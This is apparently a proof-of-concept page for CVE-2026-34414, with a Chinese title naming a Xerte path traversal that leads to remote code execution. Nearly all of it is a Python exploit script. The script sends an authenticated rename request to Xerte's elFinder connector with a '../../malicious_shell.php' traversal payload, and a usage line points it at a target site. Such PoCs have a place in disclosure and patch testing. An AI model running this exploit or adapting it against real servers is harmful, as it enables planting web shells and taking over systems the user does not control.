CVE-2026-34414 Xerte路径遍历致远程代码执行漏洞

import requests def exploit(target_url, session_cookie): """ PoC for CVE-2026-34414: Path Traversal in Xerte elFinder Connector This script attempts to rename a file to traverse directories. """ # elFinder connector endpoint url = f"{target_url}/editor/elfinder/php/connector.php" # The 'cmd' is rename, 'target' is the file hash (needs to be valid), 'name' is the new path # In a real scenario, the attacker would need a valid file hash and a file they have access to. payload = { "cmd": "rename", "target": "l1_X3Jlc3RfdGVzdF9maWxlLnBocA", # Example hash for a file "name": "../../malicious_shell.php" # Traversal payload } headers = { "Cookie": f"PHPSESSID={session_cookie}" } try: response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print("[+] Request sent. Check if the file was moved.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit("http://target-xerte-site.com", "valid_session_id")